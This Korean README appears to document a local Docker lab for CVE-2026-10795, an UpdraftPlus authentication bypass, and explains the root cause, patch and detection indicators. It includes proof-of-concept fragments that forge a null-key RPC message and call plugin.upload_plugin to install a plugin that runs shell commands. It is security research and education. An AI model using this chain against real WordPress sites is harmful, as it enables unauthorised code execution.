주요 취약점은 인증 우회입니다. 이 랩은 권한 있는 UpdraftCentral 키 상태가 존재할 때 우회가 RCE 스타일의 영향으로 연결될 수 있음을 보여줍니다. UpdraftCentral은 WordPress 플러그인을 설치하고 활성화할 수 있는 합법적인 플러그인 관리 명령을 노출하기 때문입니다.

이는 직접적인 명령 주입 취약점이 아닙니다. 코드 실행 증명은 RPC 인증 경계를 우회한 후 인증된 플러그인 설치 기능을 남용하여 이루어집니다.

이 랩은 통제된 로컬 연구, 소스 수준 이해, 그리고 포트폴리오 시연 전용으로 설계되었습니다.

## 검증된 사실

| 주장 | 증거 | 이 랩에서 검증하는 방법 |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| 이 랩에서 UpdraftPlus 1.26.4는 취약합니다. | 취약한 서비스는 위조된 `format=1` RPC 메시지를 수락하고 `plugin.upload_plugin`을 디스패치합니다. | `python3 poc/poc.py --url http://127.0.0.1:8081`을 실행합니다. |
| 이 랩에서 UpdraftPlus 1.26.5는 위조된 메시지를 차단합니다. | 패치된 서비스는 RPC 응답 본문을 반환하지 않으며 위조된 명령을 디스패치하지 않습니다. | `python3 poc/poc.py --url http://127.0.0.1:8082`을 실행합니다. |
| 이 문제는 UpdraftCentral RPC 계층의 인증 우회입니다. | 위조된 인증되지 않은 RPC 요청은 취약한 버전에서 명령 디스패치에 도달할 수 있습니다. | 포트 `8081`과 `8082` 사이의 `--ping` 동작을 비교합니다. |
| 이 랩은 마커 플러그인을 사전 설치하지 않습니다. | 설정은 WordPress, UpdraftPlus 및 로컬 UpdraftCentral 키 상태만 설치합니다. | PoC를 실행하기 전에 `/wp-json/cve-lab/v1/id`를 확인합니다. |
| PoC는 위조된 RPC를 통해 마커 플러그인을 설치합니다. | PoC는 RPC 데이터 필드에 ZIP 플러그인 페이로드와 함께 `plugin.upload_plugin`을 보냅니다. | PoC를 실행한 다음 `/wp-json/cve-lab/v1/id`를 요청합니다. |
| 취약한 대상은 RCE 스타일의 영향에 도달합니다. | 마커 플러그인은 `/usr/bin/id` 출력을 반환하는 하드코딩된 엔드포인트를 노출합니다. | 취약한 대상은 `uid=33(www-data) gid=33(www-data)`를 반환합니다. |
| 패치된 대상은 마커 플러그인을 설치하지 않습니다. | 패치된 서비스에서 마커 엔드포인트는 `404 rest_no_route`를 반환합니다. | `http://127.0.0.1:8082`에 대해 PoC를 실행합니다. |
| 이 랩에는 UpdraftCentral 키 상태가 필요합니다. | UpdraftCentral 디스패치는 로컬 키 항목 및 관련 메타데이터에 의존합니다. | `scripts/setup-wordpress.sh`를 검토합니다. |

## 가정 및 미지의 사항

이 랩은 원격 제어가 구성된 사이트 상태를 재현하기 위해 의도적으로 로컬 UpdraftCentral 키 상태를 시드합니다.

시드된 키 상태는 랩 전제 조건이지 취약점 자체가 아닙니다. 이를 통해 랩은 취약한 RPC 파싱 및 복호화 경로를 일관되게 실행할 수 있습니다.

이 랩은 모든 UpdraftPlus 설치가 즉시 악용 가능하다고 주장하지 않습니다. 시연된 체인은 권한 있는 WordPress 사용자와 연결된 UpdraftCentral 로컬 키 항목의 존재에 의존합니다.

이 랩은 하드코딩된 `/usr/bin/id` 증명 엔드포인트를 노출하는 마커 플러그인을 설치하여 통제된 RCE 스타일의 영향을 시연합니다. 이는 일반적인 웹 셸, 임의 명령 실행 매개변수, 리버스 셸, 지속성 메커니즘, 자격 증명 탈취 또는 외부 콜백을 제공하지 않습니다.

PoC는 로컬 대상으로만 범위가 제한되며 기본적으로 비로컬 호스트 이름을 거부합니다.

## 근본 원인 요약

근본 원인은 취약한 버전의 UpdraftPlus에서 UpdraftCentral RPC 메시지에 대한 부적절한 검증입니다.

취약한 RPC 흐름은 `format=1` 메시지를 수락합니다. `format=1` 경로는 최신 메시지 형식과 동일한 서명 검증을 요구하지 않습니다.

전반적인 문제는 다음과 같습니다:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

해당 실패한 복호화 결과를 거부하는 대신, 취약한 흐름은 계속 진행되어 그 값을 대칭 복호화 계층에 전달합니다.

실질적인 취약 패턴은 다음과 같습니다:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

이것은 신뢰 경계를 변경합니다.

패치 전:```text
failed RSA decrypt result could still reach symmetric decrypt

이것이 취약한 서비스는 위조된 RPC 명령을 전달하지만 패치된 서비스는 그렇지 않은 이유입니다.

## 인증 우회가 코드 실행으로 이어질 수 있는 이유

CVE-2026-10795는 근본적인 결함이 RPC 인증 및 메시지 검증 계층에 있기 때문에 인증 우회로 가장 잘 설명됩니다.

그러나 해당 인증 경계를 우회하면 공격자가 제어하는 RPC 메시지가 권한 있는 UpdraftCentral 명령에 도달할 수 있습니다.

중요한 명령 경로 중 하나는 다음과 같습니다:```text
plugin.upload_plugin

이것은 명령 주입이 아닙니다.

랩은 단일 엔드포인트를 노출하는 마커 플러그인을 설치하여 코드 실행을 시연합니다:```text
/wp-json/cve-lab/v1/id

이렇게 하면 PoC를 통제된 상태로 유지하고 랩을 범용 웹 셸로 바꾸는 것을 피할 수 있습니다.

## 소스 패치 요약

관련 패치 동작은 패치된 버전이 RPC 메시지 본문을 복호화하려고 시도하기 전에 잘못된 대칭 키를 거부한다는 것입니다.

중요한 검증은 다음과 같습니다:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

이 랩은 또한 실제 UpdraftCentral 플러그인 업로드 명령 경로를 대상으로 하여 다운스트림 영향을 검증합니다.

관련 명령어 동작은 다음과 같습니다:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

### 수신기 생성

취약한 RPC 경로는 WordPress가 다음을 포함하는 POST 요청을 수신할 때 시작됩니다:```text
udrpc_message
format
key_name

이는 공격자가 특별한 REST 엔드포인트나 관리자 URL을 알 필요가 없음을 의미합니다. 위조된 RPC 요청은 WordPress 사이트 루트로 일반 POST 요청으로 전송됩니다.

PoC는 다음을 전송합니다:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

이 형식은 UpdraftCentral 핵심 지표 로직에 의해 생성됩니다:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

따라서 PoC는 다음을 설정한다:```python
KEY_NAME = "0.central.updraftplus.com"

취약한 코드 경로에서 서명 검증은 포맷이 2 이상일 때만 수행됩니다:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

이 서명 검증 블록은 건너뛴다.

이것이 인증 우회 경계이다.

정당한 `format=2` 메시지에는 유효한 서명이 포함될 것으로 예상된다. 위조된 `format=1` 메시지에는 서명이 필요 없으므로, 공격자가 제어하는 메시지는 복호화 경로로 계속 진행될 수 있다.

### 취약한 복호화 흐름

포맷 및 키 이름 검사 후, 리스너는 제출된 `udrpc_message`를 복호화한다.

UpdraftPlus 1.26.4의 취약한 복호화 흐름은 사실상 다음과 같다:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

RSA 복호화가 실패하면 `$rsa->decrypt()`는 다음을 반환할 수 있습니다:```php
false

패치된 버전은 검증을 추가하여 이 문제를 수정합니다:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

When `$key`가 `false`일 때, `strlen(false)`는 길이가 0인 키의 경우처럼 동작합니다.

Rijndael 키 길이 논리는 매우 작은 키 크기를 유효한 최소 키 길이로 반올림합니다:```php
case $length <= 128:
    $this->key_length = 16;
    break;

따라서 공격자는 취약한 복호화 동작을 다음과 같이 모델링할 수 있습니다:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

PoC는 이 구조를 수동으로 구축합니다:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

UpdraftPlus 1.26.4에서 해당 잘못된 RSA 블록으로 인해 RSA 복호화가 실패하지만, 그 실패가 거부되지 않습니다.

UpdraftPlus 1.26.5에서는 새 보호 장치가 실패한 복호화 결과를 거부하므로 위조된 메시지가 명령 디스패치에 도달하지 못합니다.

### 내부 JSON RPC 메시지

암호화된 내부 메시지는 일반적인 UpdraftCentral 스타일 JSON 명령입니다.

ping 검증을 위해 PoC는 다음을 사용합니다:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

`key_name`은 암호화된 메시지의 외부와 내부 모두에 나타납니다. 리스너는 두 값이 일치하는지 확인합니다:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

메시지에는 유효한 명령이 포함되어야 합니다:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

타임스탬프는 허용된 재생(replay) 창 내에 있어야 합니다:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

예를 들어:```text
plugin.upload_plugin

리스너는 접두사에서 명령 클래스를 확인한 다음 메서드를 동적으로 호출합니다:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

리스너가 호출합니다:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

이 랩에서 시드된 키에는 다음이 있습니다:```text
extra_info.user_id = 1

따라서 우회만으로도 위조된 명령이 RPC 계층에 전달됩니다. 시드된 키 메타데이터는 명령이 실행되는 WordPress 사용자 컨텍스트를 결정합니다.

이 랩에서는 키가 사용자 ID 1과 연결되어 있으므로 명령이 관리자 컨텍스트에서 실행됩니다.

### 플러그인 업로드 싱크

명령 메서드는 다음과 같습니다:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

PoC는 다음을 전송합니다:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

청크로 분할되지 않은 업로드의 경우, 설치는 즉시 진행됩니다:```php
$install_now = true;

그리고 UpdraftCentral 플러그인 업그레이더를 사용하여 설치합니다:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

성공적인 설치 응답에는 다음이 포함됩니다:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

마커 플러그인은 하나의 REST 라우트를 등록합니다:```text
/wp-json/cve-lab/v1/id

Marker 플러그인에 의해 실행되는 유일한 명령은 하드코딩되어 있습니다:```php
shell_exec('/usr/bin/id 2>&1');

PoC가 의도적으로 유효하지 않은 RSA 블록을 제공하므로, 복호화된 대칭 키는 유효하지 않습니다.

UpdraftPlus 1.26.5에서는 위조된 메시지가 JSON 파싱 전과 명령 디스패치 전에 중지됩니다.

따라서:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

이렇게 하면 스크립트 범위가 Docker 랩으로 한정됩니다.

PoC는 내부 RPC 메시지를 구성합니다:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

그리고 데이터는:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

이는 대칭 암호 설정에 `false`를 전달할 때 발생하는 취약한 결과와 일치합니다.

PoC는 의도적으로 잘못된 RSA 블록을 사용합니다:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

마지막으로, PoC는 위조된 RPC 요청을 보냅니다:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

디스패치 후, PoC는 마커 엔드포인트를 요청하여 영향을 검증합니다:```text
GET /wp-json/cve-lab/v1/id

이 출력은 위조된 인증되지 않은 RPC 메시지가 권한 있는 플러그인 설치 경로에 도달하여 로컬 랩 내부에서 공격자가 제공한 플러그인 코드를 활성화했음을 증명합니다.

## 랩이 증명하는 것

이 랩은 다음 기술 체인을 증명합니다:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

Docker 설정은 두 대상 모두에 해당 전제 조건을 생성하여 취약한 동작과 패치된 동작의 차이를 공정하게 테스트할 수 있게 합니다.

## 실습 아키텍처

이 실습은 Docker Compose를 통해 두 개의 격리된 WordPress 설치를 실행합니다.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

설정 프로세스는 동일한 UpdraftCentral 키 상태를 두 서비스 모두에 시드합니다:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

The `urllib3<2` 제약 조건은 일부 macOS Python 빌드에서 LibreSSL 관련 경고를 방지합니다.

## 빠른 시작

깨끗한 랩 상태에서 시작하세요:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

예상 설정 지표:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

실행 중인 서비스 확인:```bash
docker compose ps

취약한 대상에 대해 기본 ID proof를 실행합니다:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

이 스크립트는 의도적으로 `--url` 옵션을 요구합니다. 이를 통해 테스터는 두 서비스를 자동으로 공격하는 대신 대상을 명시적으로 선택해야 합니다.

## PoC 사용법

기본 동작:```bash
python3 poc/poc.py --url <local_target_url>

패치된 대상 예시:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

지원되는 옵션:

| Option      | 필수     | 용도                                                   |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | 예       | 로컬 랩 대상 URL                                        |
| `--ping`    | 아니요   | ID 증명 대신 무해한 위조 핑 검증 실행                    |
| `--timeout` | 아니요   | HTTP 타임아웃(초). 기본값: `15`                          |

허용되는 대상 호스트:```text
127.0.0.1
localhost
::1

마커 플러그인은 저장소에 독립형 플러그인 파일로 저장되지 않습니다. 이 플러그인은 PoC에 의해 메모리에서 생성됩니다.

위조된 RPC 명령은 다음과 같습니다:```text
plugin.upload_plugin

PoC는 내부 JSON RPC 메시지를 다음을 사용해 암호화합니다:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

`--ping`이 성공하지만 ID 증명이 실패한다면, 문제는 디스패치 이후에 있을 가능성이 큽니다:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

## Expected Results

### Vulnerable Target

Command:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

### 패치된 대상

명령:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

## 수동 검증 명령

서비스 상태 확인:```bash
docker compose ps

패치된 서비스 메타데이터 검사:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Run ping-only validation:

핑(ping) 전용 검증 실행:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

PoC 실행 직후 마커 엔드포인트를 확인하세요:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

취약한 컨테이너 내부에 설치된 플러그인을 확인하세요:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

취약한 서비스는 PoC가 실행된 후 마커 플러그인을 포함해야 합니다. 패치된 서비스는 포함해서는 안 됩니다.

## 영향

이 랩은 인증되지 않은 공격자가 적절한 UpdraftCentral 키 상태가 존재할 때 UpdraftPlus 1.26.4에서 권한 있는 명령 디스패치에 도달하는 UpdraftCentral RPC 메시지를 위조할 수 있음을 보여줍니다.

입증된 영향은 RCE 방식입니다. 위조된 RPC 명령이 합법적인 플러그인 관리 기능을 악용하기 때문입니다.```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

취약점 범주는 여전히 인증 우회입니다. 코드 실행 결과는 권한 있는 WordPress 플러그인 설치를 통한 연쇄적 영향입니다.

## 탐지 및 모니터링

잠재적 지표에는 UpdraftCentral RPC 필드를 포함한 WordPress 프론트 페이지로의 인증되지 않은 POST 요청이 포함됩니다:```text
format
key_name
udrpc_message
signature

로컬 랩 지표:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

컨테이너, 네트워크 및 볼륨 제거:```bash
docker compose down -v --remove-orphans

Remove local evidence files if created:```bash
rm -rf evidence/

The PoC refuses non-local targets by default.

The marker plugin does not implement a generic command execution parameter. It only exposes a hard-coded local proof endpoint that runs `/usr/bin/id`.

This lab does not include:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

## 참고자료

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Wordfence 취약점 데이터베이스: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Patchstack 데이터베이스: UpdraftPlus
  https://patchstack.com/database/

* WordPress.org 플러그인: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* WordPress.org 플러그인 SVN
  https://plugins.svn.wordpress.org/updraftplus/

* WordPress.org 플러그인 SVN 태그
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: 인증 치트 시트
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: 웹 보안 테스트 가이드
  https://owasp.org/www-project-web-security-testing-guide/